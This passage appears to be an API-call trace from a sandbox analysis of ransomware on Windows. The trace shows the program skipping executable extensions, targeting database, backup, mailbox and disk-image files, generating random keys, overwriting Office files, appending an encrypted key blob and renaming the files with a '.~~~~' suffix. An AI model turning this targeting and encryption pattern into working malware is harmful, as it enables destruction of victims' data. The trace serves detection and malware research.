	[0144.572] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.572] GetLastError () returned 0x0
	[0144.572] GetLastError () returned 0x0
	[0144.572] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x15990, lpOverlapped=0x0) returned 1
	[0144.577] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffea670, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.577] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x15990, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x15990, lpOverlapped=0x0) returned 1
	[0144.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.578] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.578] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.578] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.578] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.578] CloseHandle (hObject=0x138) returned 1
	[0144.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836258
	[0144.579] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll.~~~~")) returned 1
	[0144.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2836258 | out: hHeap=0x300000) returned 1
	[0144.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0144.582] GetLastError () returned 0x0
	[0144.582] RtlWakeConditionVariable () returned 0x0
	[0144.582] GetCurrentThreadId () returned 0x9f4
	[0144.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".scr") returned 0x0
	[0144.582] lstrlenW (lpString=".cmd") returned 4
	[0144.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".cmd") returned 0x0
	[0144.582] lstrlenW (lpString=".dll") returned 4
	[0144.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".dll") returned 0x0
	[0144.582] lstrlenW (lpString=".bat") returned 4
	[0144.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".bat") returned 0x0
	[0144.582] lstrlenW (lpString=".cpl") returned 4
	[0144.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".cpl") returned 0x0
	[0144.582] lstrlenW (lpString=".sys") returned 4
	[0144.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".sys") returned 0x0
	[0144.582] lstrlenW (lpString=".msc") returned 4
	[0144.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".msc") returned 0x0
	[0144.582] lstrlenW (lpString=".com") returned 4
	[0144.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".com") returned 0x0
	[0144.582] lstrlenW (lpString=".lnk") returned 4
	[0144.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".lnk") returned 0x0
	[0144.583] lstrlenW (lpString=".msp") returned 4
	[0144.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".msp") returned 0x0
	[0144.583] lstrlenW (lpString=".pif") returned 4
	[0144.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".pif") returned 0x0
	[0144.583] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0144.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.585] lstrlenW (lpString=".sqb") returned 4
	[0144.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".sqb") returned 0x0
	[0144.585] lstrlenW (lpString=".ost") returned 4
	[0144.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".ost") returned 0x0
	[0144.585] lstrlenW (lpString=".txt") returned 4
	[0144.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".txt") returned 0x0
	[0144.585] lstrlenW (lpString=".mdt") returned 4
	[0144.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".mdt") returned 0x0
	[0144.585] lstrlenW (lpString=".BDB") returned 4
	[0144.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".BDB") returned 0x0
	[0144.585] lstrlenW (lpString=".eql") returned 4
	[0144.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".eql") returned 0x0
	[0144.586] lstrlenW (lpString=".DBF") returned 4
	[0144.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".DBF") returned 0x0
	[0144.586] lstrlenW (lpString=".EQL") returned 4
	[0144.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".EQL") returned 0x0
	[0144.586] lstrlenW (lpString=".FDB") returned 4
	[0144.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".FDB") returned 0x0
	[0144.586] lstrlenW (lpString=".EDB") returned 4
	[0144.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".EDB") returned 0x0
	[0144.586] lstrlenW (lpString=".DACPAC") returned 7
	[0144.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".DACPAC") returned 0x0
	[0144.586] lstrlenW (lpString=".VHD") returned 4
	[0144.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".VHD") returned 0x0
	[0144.586] lstrlenW (lpString=".DBV") returned 4
	[0144.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".DBV") returned 0x0
	[0144.586] lstrlenW (lpString=".dacpac") returned 7
	[0144.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".dacpac") returned 0x0
	[0144.586] lstrlenW (lpString=".sdf") returned 4
	[0144.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".sdf") returned 0x0
	[0144.586] lstrlenW (lpString=".accdb") returned 6
	[0144.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".accdb") returned 0x0
	[0144.586] lstrlenW (lpString=".DBX") returned 4
	[0144.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".DBX") returned 0x0
	[0144.586] lstrlenW (lpString=".MDT") returned 4
	[0144.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".MDT") returned 0x0
	[0144.586] lstrlenW (lpString=".SQB") returned 4
	[0144.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".SQB") returned 0x0
	[0144.587] lstrlenW (lpString=".vhd") returned 4
	[0144.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".vhd") returned 0x0
	[0144.587] lstrlenW (lpString=".bac") returned 4
	[0144.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".bac") returned 0x0
	[0144.587] lstrlenW (lpString=".mdf") returned 4
	[0144.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".mdf") returned 0x0
	[0144.587] lstrlenW (lpString=".BAK") returned 4
	[0144.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".BAK") returned 0x0
	[0144.587] lstrlenW (lpString=".BAC") returned 4
	[0144.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".BAC") returned 0x0
	[0144.587] lstrlenW (lpString=".dbs") returned 4
	[0144.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".dbs") returned 0x0
	[0144.587] lstrlenW (lpString=".vhdx") returned 5
	[0144.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".vhdx") returned 0x0
	[0144.587] lstrlenW (lpString=".NDF") returned 4
	[0144.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".NDF") returned 0x0
	[0144.587] lstrlenW (lpString=".dat") returned 4
	[0144.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".dat") returned 0x0
	[0144.587] lstrlenW (lpString=".DBS") returned 4
	[0144.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".DBS") returned 0x0
	[0144.587] lstrlenW (lpString=".CKP") returned 4
	[0144.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".CKP") returned 0x0
	[0144.587] lstrlenW (lpString=".edb") returned 4
	[0144.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".edb") returned 0x0
	[0144.587] lstrlenW (lpString=".PST") returned 4
	[0144.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".PST") returned 0x0
	[0144.588] lstrlenW (lpString=".dbf") returned 4
	[0144.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".dbf") returned 0x0
	[0144.588] lstrlenW (lpString=".SQL") returned 4
	[0144.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".SQL") returned 0x0
	[0144.588] lstrlenW (lpString=".pst") returned 4
	[0144.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".pst") returned 0x0
	[0144.588] lstrlenW (lpString=".dbv") returned 4
	[0144.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".dbv") returned 0x0
	[0144.588] lstrlenW (lpString=".SDF") returned 4
	[0144.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".SDF") returned 0x0
	[0144.588] lstrlenW (lpString=".dtxs") returned 5
	[0144.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".dtxs") returned 0x0
	[0144.588] lstrlenW (lpString=".db3") returned 4
	[0144.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".db3") returned 0x0
	[0144.588] lstrlenW (lpString=".OST") returned 4
	[0144.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".OST") returned 0x0
	[0144.588] lstrlenW (lpString=".dbx") returned 4
	[0144.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".dbx") returned 0x0
	[0144.588] lstrlenW (lpString=".DB3") returned 4
	[0144.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".DB3") returned 0x0
	[0144.588] lstrlenW (lpString=".DAT") returned 4
	[0144.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".DAT") returned 0x0
	[0144.588] lstrlenW (lpString=".VHDX") returned 5
	[0144.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".VHDX") returned 0x0
	[0144.588] lstrlenW (lpString=".ndf") returned 4
	[0144.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".ndf") returned 0x0
	[0144.589] lstrlenW (lpString=".DB") returned 3
	[0144.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".DB") returned 0x0
	[0144.589] lstrlenW (lpString=".sql") returned 4
	[0144.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".sql") returned 0x0
	[0144.589] lstrlenW (lpString=".MYD") returned 4
	[0144.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".MYD") returned 0x0
	[0144.589] lstrlenW (lpString=".DBT") returned 4
	[0144.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".DBT") returned 0x0
	[0144.589] lstrlenW (lpString=".ACCDB") returned 6
	[0144.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".ACCDB") returned 0x0
	[0144.589] lstrlenW (lpString=".fdb") returned 4
	[0144.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".fdb") returned 0x0
	[0144.659] lstrlenW (lpString=".bak") returned 4
	[0144.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".bak") returned 0x0
	[0144.659] lstrlenW (lpString=".myd") returned 4
	[0144.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".myd") returned 0x0
	[0144.659] lstrlenW (lpString=".DTXS") returned 5
	[0144.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".DTXS") returned 0x0
	[0144.659] lstrlenW (lpString=".ckp") returned 4
	[0144.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".ckp") returned 0x0
	[0144.659] lstrlenW (lpString=".dbt") returned 4
	[0144.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".dbt") returned 0x0
	[0144.659] lstrlenW (lpString=".db") returned 3
	[0144.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".db") returned 0x0
	[0144.659] lstrlenW (lpString=".TXT") returned 4
	[0144.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".TXT") returned 0x0
	[0144.659] lstrlenW (lpString=".MDF") returned 4
	[0144.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".MDF") returned 0x0
	[0144.660] lstrlenW (lpString=".bdb") returned 4
	[0144.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".bdb") returned 0x0
	[0144.660] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.660] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395960) returned 1
	[0144.661] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.661] CryptReleaseContext (hProv=0x395960, dwFlags=0x0) returned 1
	[0144.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.662] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26465302041) returned 1
	[0144.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbfa10950, dwHighDateTime=0x1d60e1e)) 
	[0144.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f898
	[0144.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f898 | out: hHeap=0x300000) returned 1
	[0144.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.664] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.664] GetLastError () returned 0x0
	[0144.664] GetLastError () returned 0x0
	[0144.664] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.664] GetLastError () returned 0x0
	[0144.664] GetLastError () returned 0x0
	[0144.664] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.666] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.666] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0144.667] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.667] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.667] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.667] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.667] CloseHandle (hObject=0x138) returned 1
	[0144.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.668] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css.~~~~")) returned 1
	[0144.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37bb70 | out: hHeap=0x300000) returned 1
	[0144.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.684] GetLastError () returned 0x0
	[0144.684] RtlWakeConditionVariable () returned 0x0
	[0144.684] GetCurrentThreadId () returned 0x9f4
	[0144.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll", lpSrch=".scr") returned 0x0
	[0144.684] lstrlenW (lpString=".cmd") returned 4
	[0144.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll", lpSrch=".cmd") returned 0x0
	[0144.685] lstrlenW (lpString=".dll") returned 4
	[0144.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll", lpSrch=".dll") returned=".dll"
	[0144.685] lstrlenW (lpString=".dll") returned 4
	[0144.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0144.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.685] RtlWakeConditionVariable () returned 0x365f70
	[0144.685] GetCurrentThreadId () returned 0x9f4
	[0144.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".scr") returned 0x0
	[0144.685] lstrlenW (lpString=".cmd") returned 4
	[0144.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".cmd") returned 0x0
	[0144.685] lstrlenW (lpString=".dll") returned 4
	[0144.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".dll") returned 0x0
	[0144.685] lstrlenW (lpString=".bat") returned 4
	[0144.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".bat") returned 0x0
	[0144.685] lstrlenW (lpString=".cpl") returned 4
	[0144.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".cpl") returned 0x0
	[0144.685] lstrlenW (lpString=".sys") returned 4
	[0144.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".sys") returned 0x0
	[0144.685] lstrlenW (lpString=".msc") returned 4
	[0144.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".msc") returned 0x0
	[0144.686] lstrlenW (lpString=".com") returned 4
	[0144.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".com") returned 0x0
	[0144.686] lstrlenW (lpString=".lnk") returned 4
	[0144.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".lnk") returned 0x0
	[0144.686] lstrlenW (lpString=".msp") returned 4
